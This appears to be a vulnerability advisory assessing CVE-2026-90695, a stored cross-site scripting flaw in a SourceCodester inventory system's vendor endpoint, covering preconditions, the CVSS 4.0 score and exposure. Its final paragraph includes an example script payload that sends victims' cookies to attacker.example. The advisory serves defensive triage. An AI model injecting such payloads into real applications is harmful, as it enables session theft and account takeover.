Inventory Management System CVE-2026-90695

Exploitation requires the attacker to hold a valid low-privilege account on the Inventory Management System (PR:L per CVSS 4.0 vector). A victim user with a separate session must subsequently view the page where the injected vendor data is rendered (UI:P). The vulnerable endpoint is /api/vendors_handler.php within the Vendor Management feature - this feature must be accessible and in active use. Exploitation is limited by: (1) the authentication requirement, preventing unauthenticated attacks; (2) the need for a second victim to trigger script execution; (3) the niche, low-footprint deployment base of SourceCodester scripts. No special non-default configuration is required beyond having the application installed and accessible over a network.

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/E:P) scores 5.1 (Medium), reflecting that exploitation requires both low-privilege authentication and passive victim interaction - the victim must navigate to or reload the affected vendor listing. No confidentiality impact is reflected in the vector's VC:N metric, though real-world XSS frequently enables session token theft (a gap worth noting). No KEV listing exists, and no EPSS data was provided in the input. A public PoC is confirmed via GitHub gist, which modestly raises real-world exploitability. SourceCodester applications are primarily used in non-production, educational, or small-business contexts, which further limits real enterprise exposure. Overall, this is a medium-severity finding: technically straightforward to exploit once authenticated, but gated by auth requirements, user interaction, and a low-footprint deployment base.

An authenticated low-privilege user submits a vendor record with a crafted payload (e.g., <script>document.location='https://attacker.example/steal?c='+document.cookie</script>) in a vendor name or description field via /api/vendors_handler.php. When an administrator or another authenticated user subsequently loads the vendor listing page, the injected script executes in their browser, exfiltrating session cookies or performing actions under their identity. A public PoC demonstrating this technique is available via the referenced GitHub gist.